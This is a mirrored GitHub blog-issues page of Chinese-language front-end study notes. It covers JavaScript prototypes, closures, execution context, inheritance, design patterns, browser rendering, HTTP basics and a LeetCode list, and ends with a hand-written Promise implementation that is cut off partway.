Coder Social home page Coder Social logo

blog's People

Contributors

zhentonglee avatar

Watchers

 avatar

blog's Issues

原型和原型链

创建对象的几种方式:
字面量创建
let o = {name: 10};
let o1 = new Object({name: 10});
构造函数创建
let M = function(name){this.name = name};
let o2 = new M('10');
通过Object.create

let p = {name: 'p'};
let o3 = Object.create(p);
o3.__proto__ === p // true

关于原型和原型链,先看一张图(图片来源网络)
微信截图_20191106130517
先看几道题

let A = function() {};
A.prototype.n = 1;
let b = new A();
A.prototype = {
  n: 2,
  m: 3
};
let c = new A();
console.log(b.n);//1
console.log(b.m);//undefined
console.log(c.n);//2
console.log(c.m);//3
let A = function() {};
A.prototype.n = 1;
let b = new A();
A.prototype.n = 2;
let c = new A();
console.log(b.n);//2
console.log(c.n);//2
let F = function() {};
Object.prototype.a = function() {
  console.log('a');
};
Function.prototype.b = function() {
  console.log('b');
};
let f = new F();
f.a();//a
f.b();//b is not a function
F.a();//a
F.b();//b
function Person(name) {
    this.name = name;
};
let p = new Person('Tom');

问题1:p.__proto__等于什么?//Person.prototype
问题2:Person.__proto__等于什么?//Function.prototype

let foo = {};
let F = function(){};
Object.prototype.a = 'value a';
Function.prototype.b = 'value b';
console.log(foo.a);//value a
console.log(foo.b);//undefined
console.log(F.a);//value a
console.log(F.b);//value b

能答对上面几道题,基本就理解原型和原型链了。
显式原型属性 prototype,每个函数有有,有一个除外。
隐式原型属性__proto__,每个对象都有。

总结

  • Object 是所有对象的爸爸,所有对象都可以通过__proto__ 找到它
  • Function 是所有函数的爸爸,所有函数都可以通过__proto__ 找到它
  • Function.prototype 和 Object.prototype 是两个特殊的对象,他们由引擎来创建
  • 除了以上两个特殊对象,其他对象都是通过构造器 new 出来的
  • 函数的 prototype 是一个对象,也就是原型
  • 对象的__proto__ 指向原型,也就是说__proto__ 将对象和原型连接起来组成了原型链

闭包

闭包的定义:函数A返回了一个函数B,并且函数B中使用了函数A的变量,函数B就被称为闭包。

function A() {
    let a = 1
    function B() {
        a++
        console.log(a)
    }
    return B
}
let f0 = A()
let f1 = A()
f0()//2
f0()//3
f0()//4
f1()//2

为什么函数 A 已经弹出调用栈了,为什么函数 B 还能引用到函数 A 中的变量。因为函数 A 中的变量这时候是存储在堆上的。现在的 JS 引擎可以通过逃逸分析辨别出哪些变量需要存储在堆上,哪些需要存储在栈上。
例子:循环中使用闭包解决 var 定义函数的问题

for ( var i=1; i<=5; i++) {
    setTimeout( function timer() {
        console.log( i );
    },  i*1000 );
}

这是因为循环全部执行完毕,这时候 i 就是 6 了,再执行到setTimeout,所以会输出一堆 6。
使用闭包:

for ( var i=1; i<=5; i++) {
    (function(j){
        setTimeout( function timer() {
            console.log( j );
        },  j*1000 );
    })(i);
}

使用 setTimeout 的第三个参数

for ( var i=1; i<=5; i++) {
    setTimeout( function timer(j) {
        console.log( j );
    },  i*1000, i );
}

使用 let 定义 i

for ( let i=1; i<=5; i++) {
    setTimeout( function timer() {
        console.log( i );
    },  i*1000 );
}

浏览器渲染机制

浏览器工作机制分析

image

主进程 Browser Process

  • 负责浏览器界面的显示与交互。各个页面的管理,创建和销毁其他进程。网络的资源管理、下载等。

第三方插件进程 Plugin Process

  • 每种类型的插件对应一个进程,仅当使用该插件时才创建。

GPU 进程 GPU Process

  • 最多只有一个,用于 3D 绘制等。

渲染进程 Renderer Process

  • 称为浏览器渲染进程或浏览器内核,内部是多线程的。主要负责页面渲染,脚本执行,事件处理等。

image

参考链接:https://juejin.im/post/5e143104e51d45414a4715f7

--------------------更新------------------

什么是DOCTYPE及作用
DTD(document type definition,文档类型定义)是一系列语法规则,用来定义XML或者(X)HTML的文件类型。浏览器会使用它来判断文档类型,决定使用何种协议来解析,以及切换浏览器模式。
DOCTYPE是用来声明文档类型和DTD规范,一个主要的用户就是文件的合法性验证。

浏览器渲染过程
render
关键点:DOM tree、CSSOM tree、Render tree、Layout(计算width、height多少px等)

浏览器渲染过程如下:

  • 解析HTML,生成DOM树
  • 解析CSS,生成CSSOM树
  • 将DOM树和CSSOM树结合,生成渲染树(Render Tree)
  • Layout(回流):根据生成的渲染树,进行回流(Layout),得到节点的几何信息(位置,大小)
  • Painting(重绘):根据渲染树以及回流得到的几何信息,得到节点的绝对像素
  • Display:将像素发送给GPU,展示在页面上。(这一步其实还有很多内容,比如会在GPU将多个合成层合并为同一个层,并展示在页面中。而css3硬件加速的原理则是新建合成层。)

重排reflow、重绘repaint
无论何时总会有一个初始化的页面布局伴随着一次绘制。之后,每一次改变用于构建渲染树的信息都会导致以下至少一个的行为:

  • 部分渲染树(或者整个渲染树)需要重新分析并且节点尺寸需要重新计算。这被称为重排。注意这里至少会有一次重排-初始化页面布局。
  • 由于节点的几何属性发生改变或者由于样式发生改变,例如改变元素背景色时,屏幕上的部分内容需要更新。这样的更新被称为重绘。

任何改变用来构建渲染树的信息都会导致一次重排或重绘。

  • 添加、删除、更新DOM节点 //重排和重绘
  • 通过display: none隐藏一个DOM节点 //重排和重绘
  • 通过visibility: hidden隐藏一个DOM节点 //只触发重绘,因为没有几何变化
  • 移动或者给页面中的DOM节点添加动画 //重排和重绘
  • 用户行为,例如调整窗口大小,改变字号 //重排和重绘

通过documentFragment来保留临时变动,减少重排、重绘。

async和defer的区别
IMG_20200212_151100

preload和prefetch

  • prefetch会预加载页面将来可能用到的一些资源,优先级较低;对首屏渲染要求较高的项目不建议使用
  • preload通常用于本页面要用到的关键资源,包括关键js、字体、css文件。preload将会把资源得下载顺序权重提高,使得关键数据提前下载好,优化页面打开速度
  • dns-prefetch DNS预解析

参考链接:https://www.zcfy.cc/article/building-the-dom-faster-speculative-parsing-async-defer-and-preload-x2605-mozilla-hacks-8211-the-web-developer-blog-4224.html?t=new

执行上下文

什么是执行上下文?

简而言之,执行上下文是评估和执行 JavaScript 代码的环境的抽象概念。每当 Javascript 代码在运行的时候,它都是在执行上下文中运行。

执行上下文的类型

  • 全局执行上下文 — 这是默认或者说基础的上下文,任何不在函数内部的代码都在全局上下文中。它会执行两件事:创建一个全局的 window 对象(浏览器的情况下),并且设置 this 的值等于这个全局对象。一个程序中只会有一个全局执行上下文。
  • 函数执行上下文 — 每当一个函数被调用时, 都会为该函数创建一个新的上下文。每个函数都有它自己的执行上下文,不过是在函数被调用时创建的。函数上下文可以有任意多个。每当一个新的执行上下文被创建,它会按定义的顺序执行一系列步骤。
  • Eval 函数执行上下文 — 执行在 eval 函数内部的代码也会有它属于自己的执行上下文,但由于 JavaScript 开发者并不经常使用 eval,所以在这里我不会讨论它。

执行栈

执行栈,也就是在其它编程语言中所说的“调用栈”,是一种拥有 LIFO(后进先出)数据结构的栈,被用来存储代码运行时创建的所有执行上下文。

当 JavaScript 引擎第一次遇到你的脚本时,它会创建一个全局的执行上下文并且压入当前执行栈。每当引擎遇到一个函数调用,它会为该函数创建一个新的执行上下文并压入栈的顶部。

引擎会执行那些执行上下文位于栈顶的函数。当该函数执行结束时,执行上下文从栈中弹出,控制流程到达当前栈中的下一个上下文。一旦所有代码执行完毕,JavaScript 引擎从当前栈中移除全局执行上下文。

怎么创建执行上下文?

创建执行上下文有两个阶段:创建阶段 和 执行阶段。

创建阶段

在 JavaScript 代码执行前,执行上下文将经历创建阶段。在创建阶段会发生三件事:

  • this 值的决定,即我们所熟知的 This 绑定。
  • 创建变量对象(VO),包含变量、函数声明和函数的形参,该属性只能在全局上下文中访问。
  • 创建作用域链(JS 采用词法作用域,也就是说变量的作用域是在定义时就决定了)。
var a = 10
function foo(i) {
  var b = 20
}
foo()

对于上述代码,执行栈中有两个上下文:全局上下文和函数 foo 上下文。

stack = [
    globalContext,
    fooContext
]

对于全局上下文来说,VO 大概是这样的

globalContext.VO = {
    a: undefined,
    foo: <Function>
}

对于函数 foo 来说,VO 不能访问,只能访问到活动对象(AO)

fooContext.VO === foo.AO
fooContext.AO {
    i: undefined,
    b: undefined,
    arguments: <>
}
// arguments 是函数独有的对象(箭头函数没有)
// 该对象是一个伪数组,有 `length` 属性且可以通过下标访问元素
// 该对象中的 `callee` 属性代表函数本身
// `caller` 属性代表函数的调用者

对于作用域链,可以把它理解成包含自身变量对象和上级变量对象的列表,通过 [[Scope]] 属性查找上级变量

fooContext.[[Scope]] = [
    globalContext.VO
]
fooContext.Scope = fooContext.[[Scope]] + fooContext.VO
fooContext.Scope = [
    fooContext.VO,
    globalContext.VO
]

我们先来看一个例子

let a = 10
let b = 90
function c(){
    a = 20
    let b = 80
    console.log(a,b)// 20 80
}
c()
console.log(a,b)// 20 90

我们再来看一个例子

b() // call b
console.log(a) // undefined
var a = 'Hello world'
function b() {
    console.log('call b')
}

想必以上的输出大家肯定都已经明白了,这是因为函数和变量提升的原因。通常提升的解释是说将声明的代码移动到了顶部,这其实没有什么错误,便于大家理解。但是更准确的解释应该是:在生成执行上下文时,会有两个阶段。第一个阶段是创建的阶段(具体步骤是创建 VO),JS 解释器会找出需要提升的变量和函数,并且给他们提前在内存中开辟好空间,函数的话会将整个函数存入内存中,变量只声明并且赋值为 undefined,所以在第二个阶段,也就是代码执行阶段,我们可以直接提前使用。

在提升的过程中,相同的函数会覆盖上一个函数,并且函数优先于变量提升。

b() // call b second
console.log(b)// ƒ b() {console.log('call b second')}
function b() {
    console.log('call b fist')
}
function b() {
    console.log('call b second')
}
var b = 'Hello world'
console.log(b)// Hello world

var 会产生很多错误,所以在 ES6中引入了 let。let 不能在声明前使用,但是这并不是常说的 let 不会提升,let 提升了声明但没有赋值,因为临时死区导致了并不能在声明前使用。临时死区其实就是说,变量我已经声明了,可是在没有到它赋值的时候,你都不能使用这个变量,不然就会报错。

var a = 2
function test() {
    console.log(a)// 报错
    let a = 5
}
test()

全局、局部、参数作用于理解例子

var a = 3;
function change(a) {// 相当于重新声明一个变量在函数局部作用域。var a = 3
    a = 4;
}
change(a)
alert(a); // 3


var user = {age:30}
function change2(user) {相当于重新声明一个变量在函数局部作用域。var user = user,指向相同的对象
    user.age = 40;
}
change2(user); // 因为user是对象,传递的是地址
alert(user.age); // 40


function change3(user) {相当于重新声明一个变量在函数局部作用域。var user = user,指向相同的对象
    user = {age:50} // 赋值,指向一个新对象
}
change3(user); 
alert(user.age); // 40

HTTP协议

HTTP协议的主要特点
无连接、无状态、简单快速、灵活

HTTP报文的组成部分
请求报文:请求行(包含http方法、页面地址、http协议以及版本)、请求头(一些key-value值,告诉服务器想要什么、注意些什么)、空行(作用是告诉服务器下面就是请求体了)、请求体
响应报文:状态行(包含http协议以及版本、状态码)、响应头、空行、响应体

HTTP方法
GET 获取资源
POST 传输资源
PUT 更新资源
DELETE 删除资源
HEAD 获得报文头部

POST和GET的区别
GET在浏览器回退时是无害的,而POST会再次提交请求。
GET产生的URL地址可以被收藏,而POST不可以。
GET请求会被浏览器主动缓存,而POST不会,除非手动设置。
GET请求只能进行url编码,而POST支持多种编码方式。
GET请求在URL中传送的参数是有长度限制的,而POST没有限制。
对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
GET比POST更不安全,因为参数直接暴露在URL上。
GET参数通过URL传递,而POST放在Request body中。

HTTP状态码
200
206
301
302
304
400
401
403
404
500
503

什么是持久连接
http1.1版本才支持,keep-alive功能使客户端到服务器端的连接持续有效,当出现对服务器的后继请求时,keep-alive功能避免了建立或者重新建立连接。

什么是管线化
持久连接的情况下,某个连接上消息的传递类似于
请求1 -> 响应1 -> 请求2 -> 响应2 -> 请求3 -> 响应3

管道化,某个连接上消息的传递变成了类似这样
请求1 -> 请求2 -> 请求3 -> 响应1 -> 响应2 -> 响应3

HTTP2和HTTP1有什么区别?
相对于HTTP1.0,HTTP1.1的优化:

  • 缓存处理:多了Entity tag,If-Unmodified-Since, If-Match, If-None-Match等缓存信息(HTTTP1.0 If-Modified-Since,Expires)
  • 带宽优化及网络连接的使用
  • 错误通知的管理
  • Host头处理
  • 长连接: HTTP1.1中默认开启Connection: keep-alive,一定程度上弥补了HTTP1.0每次请求都要创建连接的缺点。

相对于HTTP1.1,HTTP2的优化:

  • HTTP2支持二进制传送(实现方便且健壮),HTTP1.x是字符串传送
  • HTTP2支持多路复用
  • HTTP2采用HPACK压缩算法压缩头部,减小了传输的体积
  • HTTP2支持服务端推送

参考链接:https://juejin.im/post/5e44e17a518825491b11bd63

javascript基础技巧题

1、Number(null)、Number(undefined)
0 NaN

2、使用ES6找出数组的最大值

// ES5 的写法
Math.max.apply(null, [14, 3, 77, 30]);
 
// ES6 的写法
Math.max(...[14, 3, 77, 30]);
 
// reduce
[14,3,77,30].reduce((accumulator, currentValue)=>{
    return accumulator = accumulator > currentValue ? accumulator : currentValue
});

3、[].constructor === Array

4、数组去重的方法

[...new Set(arr)]
Array.from(new Set(arr))

Array.filter() + indexOf

双重 for 循环

for...of + includes()

for...of + Object

https://www.jianshu.com/p/6300a031dba5

5、a == 1 && a == 2 && a == 3 为 true

let val = 1;
Object.defineProperty(window, 'a', {
    get: function() {
      return val++;
    }
});
a == 1 && a == 2 && a == 3; // true

const a = {
    i: 1,
    // valueOf 也可达到相同效果
    toString: function () {
      return a.i++;
    }
}

6、创建一个长度为120的数组,元素是数组下标的倒序

Array.from(new Array(120)).map((item,index)=>120 - index);
[...new Array(120)].map((item,index)=>120 - index);

设计模式

什么是面向对象?
三要素:继承、封装、多态
继承:extends
封装:public 完全开放、protected 对子类开放、private 对自己开放(实例不开放)(ES6尚不支持)
程序执行:顺序、判断、循环——结构化
面向对象——数据结构化

UML:统一建模语言
类图:类名、属性、方法
关系:主要泛化和关联
缩写:+ public # protected - private
题目:某停车场,分3层,每层100车位
每个车位都能监控到车辆的驶入和离开
车辆进入前,显示每层的空余车位数量
车辆进入时,摄像头可识别车牌号和时间
车辆出来后,出口显示器显示车牌号和停车时长
答案:
uml

设计原则
设计是为了应对变化
SOLID 五大设计原则
单一职责原则
一个程序只做好一件事
如果功能比较复杂就拆分开,每个部分保持独立

开放封闭原则
对扩展开放,对修改封闭
增加需求时,扩展新代码,而非修改已有代码

李氏置换原则
子类能覆盖父类
父类能出现的地方子类就能出现

接口独立原则
保持接口的单一独立,避免出现胖接口
类似于单一职责原则,这里更关注接口

依赖导致原则
面向接口编程,依赖于抽象而不依赖于具体
使用方只关注接口而不关注具体类的实现

function loadImg(src) {
    let promise = new Promise((resolve, reject) => {
        let img = document.createElement('img')
        img.onload = function () {
            resolve(img)
        }
        img.onerror = function () {
            reject('图片加载失败')
        }
        img.src = src
    })
    return promise
}
let src = 'xxxx'
let result = loadImg(src)
result.then(function (img) {
    return img
}).then(function (img) {

}).catch(function (err) {

})
// 每个then只做一件事,新需求可以通过增加新的then扩展,体现S O原则

23 种设计模式

  • 创建型
  • 组合型
  • 行为型

工厂模式
将 new 操作单独封装,遇到 new 时,就要考虑是否该使用工厂模式。
场景:
jQuery - $( 'div' )

class jQuery {
    constructor(seletor) {
        let slice = Array.prototype.slice
        let dom = slice.call(document.querySelectorAll(seletor))
        let len = dom ? dom.length : 0
        for (let i = 0; i < len; i++) {
            this[i] = dom[i]
        }
        this.length = len
        this.seletor = seletor || ''
    }
    append(node) {

    }
    addClass(name) {

    }
    html(data) {

    }
    // ...
}
window.$ = function (seletor) {
    // 工厂模式
    return new jQuery(seletor)
}
// $( 'div' ) 与 new $( 'div' ) 有何区别?
// 书写麻烦,jQuery 的链式操作将成为噩耗
// 一旦 jQuery 名字变化,将是灾难性的

React.createElement

class Vnode( tag, attrs, children ) {
    // ...
}
React.createElement = function (tag, attrs, children) {
    // ...
    return new Vnode( tag, attrs, children );
}

单例模式
系统中被唯一使用
一个类只有一个实例
场景:登录、购物车、vuex、redux中的store

class SingleObject {
    login() {
        console.log('login...')
    }
}
SingleObject.getInstance = (function () {
    let instance // 闭包
    return function () {
        if (!instance) {
            instance = new SingleObject()
        }
        return instance
    }
})()

适配器模式
旧接口格式和使用者不兼容,中间加一个适配转换接口。
场景:封装旧接口、vue computed

class Adaptee {
  specificRequest() {
    return '德国标准接头'
  }
}
class Target {
  constructor() {
    this.adaptee = new Adaptee()
  }
  request() {
    let info = this.adaptee.specificRequest()
    return `${info}-转换器-**标准`
  }
}
// 测试
let target = new Target()
target.request()

迭代器模式
顺序访问一个有序集合,使用者无需知道集合的内部结构
场景:jQuery each、ES6 Iterator

class Iterator {
  constructor(container) {
    this.list = container.list
    this.index = 0
  }
  next() {
    if (this.hasNext()) {
      return this.list[this.index++]
    }
    return null
  }
  hasNext() {
    if (this.index >= this.list.length) {
      return false
    }
    return true
  }
}
class Container {
  constructor(list) {
    this.list = list
  }
  getIterator() {
    return new Iterator(this)
  }
}
// 测试
let arr = [1, 2, 3, 4, 5, 6]
let container = new Container(arr)
let iterator = container.getIterator()
while (iterator.hasNext()) {
  console.log(iterator.next())
}
// 如何能写出一个方法来遍历这三种对象呢?
function each(data) {
  var $data = $(data)
  $data.each(function (key, p) {
    console.log(key, p)
  })
}
// 测试
each(arr)
each(nodeList)
each($p)

ES6 Iterator 为何存在?
ES6语法中,有序集合的数据类型已经有很多,Array、Map、Set、String、arguments、NodeList,
需要有一个统一的遍历接口来遍历所有数据类型。
ES6 Iterator 是什么?
以上数据类型都有一个 [Symbol.iterator] 属性,属性值是函数,执行函数返回一个迭代器,这个迭代器就有 next 方法可顺序迭代子元素。

// 如何能写出一个方法来遍历这三种对象呢?
function each(data) {
  let iterator = data[Symbol.iterator]()
  let item = { done: false }
  while (!item.done) {
    item = iterator.next()
    if (!item.done) {
      console.log(item.value)
    }
  }
}
// 测试
each(arr)
each(nodeList)
each($p)

function each(data) {
  for ( let item of data ) {
    console.log( item )
  }
}

状态模式
一个对象有状态变化,每次状态变化都会触发一个逻辑
场景:有限状态机、写一个简单的promise

// 状态,红、绿、黄
class State {
  constructor(color) {
    this.color = color
  }
  handle(context) {
    console.log(`turn to ${this.color} light`)
    context.setState(this)
  }
}
// 主体
class Context {
  constructor() {
    this.state = null
  }
  getState() {
    return this.state
  }
  setState(state) {
    this.state = state
  }
}
// 测试
let context = new Context()
let green = new State('green')
let red = new State('red')
let yellow = new State('yellow')
green.handle(context)
console.log(context.getState())
red.handle(context)
console.log(context.getState())
yellow.handle(context)
console.log(context.getState())

继承

现实继承
1 借助构造函数实现继承

function Parent1 () {
    this.name = 'parent1';
}
Parent1.prototype.say = function () {};
function Child1 () {
    Parent1.call(this);
    this.type = 'child1';
}
// 但是父类的原型并不能继承

2 借助原型链实现继承

function Parent2 () {
    this.name = 'parent2';
    this.list = [1,2,3];
}
function Child2 () {
    this.type = 'child2';
}
Child2.prototype = new Parent2 ();
// 但是子类的实例都共用了list,也就是原型(链)上的对象共用

3 组合方式

function Parent3 () {
    this.name = 'parent3';
    this.list = [1,2,3];
}
function Child3 () {
    Parent3.call(this);
    this.type = 'child3';
}
Child3.prototype = new Parent3 ();
// 但是父类构造函数执行了两次

4 组合继承的优化1

function Parent4 () {
    this.name = 'parent4';
    this.list = [1,2,3];
}
function Child4 () {
    Parent4.call(this);
    this.type = 'child4';
}
Child4.prototype = Parent4.prototype;
let c4 = new Child4();
// 但是怎么判断实例的直接构造函数呢 3也存在这个问题
// instanceof无法判断
// c4.constructor 是 Parent4

5 组合继承的优化2

function Parent5 () {
    this.name = 'parent5';
    this.list = [1,2,3];
}
function Child5 () {
    Parent5.call(this);
    this.type = 'child5';
}
Child5.prototype = Object.create(Parent5.prototype);
Child5.prototype.constructor = Child5;
// Child5.prototype.__proto__ === Parent5.prototype 
// Object.create( {name: 'tom'} ) 有助于理解

-----------------------------上面为更新版------------------------------

关于继承,先弄明白原型、构造函数、实例之间的关系,以及原型链的概念。

确定原型和实例的关系

第一种是使用 instanceof 操作符,只要用这个操作符来测试实例(instance)与原型链中出现过的构造函数,结果就会返回true,如下所示。

console.log(instance instanceof Object);
console.log(instance instanceof Father);
console.log(instance instanceof Son);

第二种是使用 isPrototypeOf() 方法,同样只要是原型链中出现过的原型,isPrototypeOf() 方法就会返回true,如下所示。

console.log(Object.prototype.isPrototypeOf(instance));
console.log(Father.prototype.isPrototypeOf(instance));
console.log(Son.prototype.isPrototypeOf(instance));

原型链的问题

问题一: 当原型链中包含引用类型值的原型时,该引用类型值会被所有实例共享;
问题二: 在创建子类型(例如创建Son的实例)时,不能向超类型(例如Father)的构造函数中传递参数。

借用构造函数

基本**:即在子类型构造函数的内部调用超类型构造函数。

function Father(){
	this.colors = ["red","blue","green"];
}
function Son(){
	Father.call(this);//继承了Father,且向父类型传递参数
}
let instance1 = new Son();
instance1.colors.push("black");
console.log(instance1.colors);//"red,blue,green,black"

let instance2 = new Son();
console.log(instance2.colors);//"red,blue,green" 可见引用类型值是独立的

很明显,借用构造函数一举解决了原型链的两大问题:
其一,保证了原型链中引用类型值的独立,不再被所有实例共享;
其二,,子类型创建时也能够向父类型传递参数。

组合继承

基本思路:使用原型链实现对原型属性和方法的继承,通过借用构造函数来实现对实例属性的继承。
这样,既通过在原型上定义方法实现了函数复用,又能保证每个实例都有它自己的属性。

function Father(name){
	this.name = name;
	this.colors = ["red","blue","green"];
}
Father.prototype.sayName = function(){
	console.log(this.name);
};
function Son(name,age){
	Father.call(this,name);//继承实例属性,第一次调用Father()
	this.age = age;
}
Son.prototype = new Father();//继承父类方法,第二次调用Father()
Son.prototype.sayAge = function(){
	console.log(this.age);
}
let instance1 = new Son("peter",5);
instance1.colors.push("black");
console.log(instance1.colors);//"red,blue,green,black"
instance1.sayName();//peter
instance1.sayAge();//5

let instance2 = new Son("tom",10);
console.log(instance2.colors);//"red,blue,green"
instance2.sayName();//tom
instance2.sayAge();//10

组合继承避免了原型链和借用构造函数的缺陷,融合了它们的优点,成为 JavaScript 中最常用的继承模式.。而且,instanceof 和 isPrototypeOf( )也能用于识别基于组合继承创建的对象。

原型继承

在object()函数内部,先创建一个临时性的构造函数,然后将传入的对象作为这个构造函数的原型,最后返回了这个临时类型的一个新实例。

function object(o){
	function F(){}
	F.prototype = o;
	return new F();
}

从本质上讲,object() 对传入其中的对象执行了一次浅复制。下面我们来看看为什么是浅复制。

let person = {
	friends : ["Van","Louis","Nick"]
};
let anotherPerson = object(person);
anotherPerson.friends.push("Rob");
let yetAnotherPerson = object(person);
yetAnotherPerson.friends.push("Style");
console.log(person.friends);//"Van,Louis,Nick,Rob,Style"

object.create() 接收两个参数:
一个用作新对象原型的对象
一个为新对象定义额外属性的对象(可选的)

let person = {
	name : "Van"
};
let anotherPerson = Object.create(person, {
	name : {
		value : "Louis"
	}
});
console.log(anotherPerson.name);//"Louis"

提醒:原型式继承中,包含引用类型值的属性始终都会共享相应的值,就像使用原型模式一样。

寄生式继承

寄生式继承的思路与(寄生)构造函数和工厂模式类似,即创建一个仅用于封装继承过程的函数,该函数在内部以某种方式来增强对象,最后再像真的是它做了所有工作一样返回对象。 如下:

function createAnother(original){
	let clone = object(original);//通过调用object函数创建一个新对象
	clone.sayHi = function(){//以某种方式来增强这个对象
		alert("hi");
	};
	return clone;//返回这个对象
}

注意:使用寄生式继承来为对象添加函数,会由于不能做到函数复用而降低效率;这一点与构造函数模式类似。

寄生组合式继承

前面讲过,组合继承是 JavaScript 最常用的继承模式;不过,它也有自己的不足。组合继承最大的问题就是无论什么情况下,都会调用两次父类构造函数:一次是在创建子类型原型的时候,另一次是在子类型构造函数内部。寄生组合式继承就是为了降低调用父类构造函数的开销而出现的。

function extend(subClass, superClass){
	let prototype = object(superClass.prototype);//创建对象
	prototype.constructor = subClass;//增强对象
	subClass.prototype = prototype;//指定对象
}

extend的高效率体现在它没有调用superClass构造函数,因此避免了在subClass.prototype上面创建不必要,多余的属性。于此同时,原型链还能保持不变;因此还能正常使用 instanceof 和isPrototypeOf() 方法。
以上,寄生组合式继承,集寄生式继承和组合继承的优点于一身,是实现基于类型继承的最有效方法。

参考:https://juejin.im/post/58f94c9bb123db411953691b

【算法】leetcode题目集合

Leetcode

1、链表
206. 反转链表
92. 反转链表 II
剑指 Offer 18. 删除链表的节点
19. 删除链表的倒数第 N 个结点
24. 两两交换链表中的节点
2. 两数相加
203. 移除链表元素

2、递归与回溯
面试题 16.11. 跳水板
1291. 顺次数
59. 螺旋矩阵 II
54. 螺旋矩阵
73. 矩阵置零
980. 不同路径 III
784. 字母大小写全排列
1219. 黄金矿工
面试题 08.08. 有重复字符串的排列组合
212. 单词搜索 II
37. 解数独
51. N 皇后
……

3、贪心算法
392. 判断子序列
455. 分发饼干
122. 买卖股票的最佳时机 II

4、滑动窗口
239. 滑动窗口最大值
438. 找到字符串中所有字母异位词
76. 最小覆盖子串
3. 无重复字符的最长子串
209. 长度最小的子数组

5、栈和队列
199. 二叉树的右视图
144. 二叉树的前序遍历
71. 简化路径
20. 有效的括号
150. 逆波兰表达式求值

6、查找表
389. 找不同
350. 两个数组的交集 II

7、数据结构
146. LRU 缓存
208. 实现 Trie (前缀树)

8、排序
面试题 17.15. 最长单词
524. 通过删除字母匹配到字典里最长单词
75. 颜色分类

9、双指针
16. 最接近的三数之和
524. 通过删除字母匹配到字典里最长单词
240. 搜索二维矩阵 II
392. 判断子序列
455. 分发饼干
125. 验证回文串
167. 两数之和 II - 输入有序数组
……

10、动态规划
322. 零钱兑换
1884. 鸡蛋掉落-两枚鸡蛋https://www.bilibili.com/video/av415916433/)
887. 鸡蛋掉落
72. 编辑距离
873. 最长的斐波那契子序列的长度
718. 最长重复子数组

11、前缀和
560. 和为 K 的子数组

12、位运算
136. 只出现一次的数字
389. 找不同

13、二分查找
50. Pow(x, n)
69. x 的平方根
704. 二分查找

14、二叉树/DFC/BFC

instanceof实现原理

instanceof 可以正确的判断对象的类型,原理是通过判断对象的原型链中是否找到类型的prototype。
试着实现一下 instanceof

function myInstanceof(left, right) {
    // 获得类型的原型
    let prototype = right.prototype
    // 获得对象的原型
    left = left.__proto__
    // 判断对象的原型是否等于类型的原型
    while (true) {
    	if (left === null)
    		return false
    	if (prototype === left)
    		return true
    	left = left.__proto__
    }
}

promise

promise实现的原理

可以把Promise看成一个状态机。初始值是pending状态,可以通过函数resolve和reject,将状态转变为fullfilled或者rejected状态,状态一旦改变就不能再次变化。then函数会返回一个新的Promise实例,因为 Promise 规范规定除了 pending 状态,其他状态是不可以改变的,如果返回的是一个相同实例的话,多个 then 调用就失去意义了。

  // 判断变量否为function
  const isFunction = variable => typeof variable === 'function'
  // 定义Promise的三种状态常量
  const PENDING = 'pending'
  const FULFILLED = 'fullfilled'
  const REJECTED = 'rejected'

  class MyPromise {
    constructor (handle) {
      if (!isFunction(handle)) {
        throw new Error('MyPromise must accept a function as a parameter')
      }
      // 添加状态
      this._status = PENDING
      // 添加值
      this._value = undefined
      // 用于保存 then 中的回调,只有当 promise,
      // 状态为 pending 时才会缓存,并且每个实例至多缓存一个
      this._fulfilledQueues = []
      this._rejectedQueues = []
      // 执行handle,用于解决以下问题new Promise(() => throw Error('error))
      try {
        handle(this._resolve.bind(this), this._reject.bind(this)) 
      } catch (err) {
        this._reject(err)
      }
    }
    // 添加resovle时执行的函数
    _resolve (val) {
      const run = () => {
        if (this._status !== PENDING) return
        this._status = FULFILLED
        // 依次执行成功队列中的函数,并清空队列
        const runFulfilled = (value) => {
          let cb;
          while (cb = this._fulfilledQueues.shift()) {
            cb(value)
          }
        }
        // 依次执行失败队列中的函数,并清空队列
        const runRejected = (error) => {
          let cb;
          while (cb = this._rejectedQueues.shift()) {
            cb(error)
          }
        }
        /* 如果resolve的参数为Promise对象,则必须等待该Promise对象状态改变后,
          当前Promsie的状态才会改变,且状态取决于参数Promsie对象的状态
        */
        if (val instanceof MyPromise) {
          val.then(value => {
            this._value = value
            runFulfilled(value)
          }, err => {
            this._value = err
            runRejected(err)
          })
        } else {
          this._value = val
          runFulfilled(val)
        }
      }
      // 为了支持同步的Promise,这里采用异步调用
      setTimeout(run, 0)
    }
    // 添加reject时执行的函数
    _reject (err) { 
      if (this._status !== PENDING) return
      // 依次执行失败队列中的函数,并清空队列
      const run = () => {
        this._status = REJECTED
        this._value = err
        let cb;
        while (cb = this._rejectedQueues.shift()) {
          cb(err)
        }
      }
      // 为了支持同步的Promise,这里采用异步调用
      setTimeout(run, 0)
    }
    // 添加then方法
    then (onFulfilled, onRejected) {
      const { _value, _status } = this
      // 返回一个新的Promise对象
      return new MyPromise((onFulfilledNext, onRejectedNext) => {
        // 封装一个成功时执行的函数
        let fulfilled = value => {
          try {
            if (!isFunction(onFulfilled)) {
              onFulfilledNext(value)
            } else {
              let res =  onFulfilled(value);
              if (res instanceof MyPromise) {
                // 如果当前回调函数返回MyPromise对象,必须等待其状态改变后在执行下一个回调
                res.then(onFulfilledNext, onRejectedNext)
              } else {
                //否则会将返回结果直接作为参数,传入下一个then的回调函数,并立即执行下一个then的回调函数
                onFulfilledNext(res)
              }
            }
          } catch (err) {
            // 如果函数执行出错,新的Promise对象的状态为失败
            onRejectedNext(err)
          }
        }
        // 封装一个失败时执行的函数
        let rejected = error => {
          try {
            if (!isFunction(onRejected)) {
              onRejectedNext(error)
            } else {
                let res = onRejected(error);
                if (res instanceof MyPromise) {
                  // 如果当前回调函数返回MyPromise对象,必须等待其状态改变后在执行下一个回调
                  res.then(onFulfilledNext, onRejectedNext)
                } else {
                  //否则会将返回结果直接作为参数,传入下一个then的回调函数,并立即执行下一个then的回调函数
                  onFulfilledNext(res)
                }
            }
          } catch (err) {
            // 如果函数执行出错,新的Promise对象的状态为失败
            onRejectedNext(err)
          }
        }
        switch (_status) {
          // 当状态为pending时,将then方法回调函数加入执行队列等待执行
          case PENDING:
            this._fulfilledQueues.push(fulfilled)
            this._rejectedQueues.push(rejected)
            break
          // 当状态已经改变时,立即执行对应的回调函数
          case FULFILLED:
            fulfilled(_value)
            break
          case REJECTED:
            rejected(_value)
            break
        }
      })
    }
    // 添加catch方法
    catch (onRejected) {
      return this.then(undefined, onRejected)
    }
    // 添加静态resolve方法
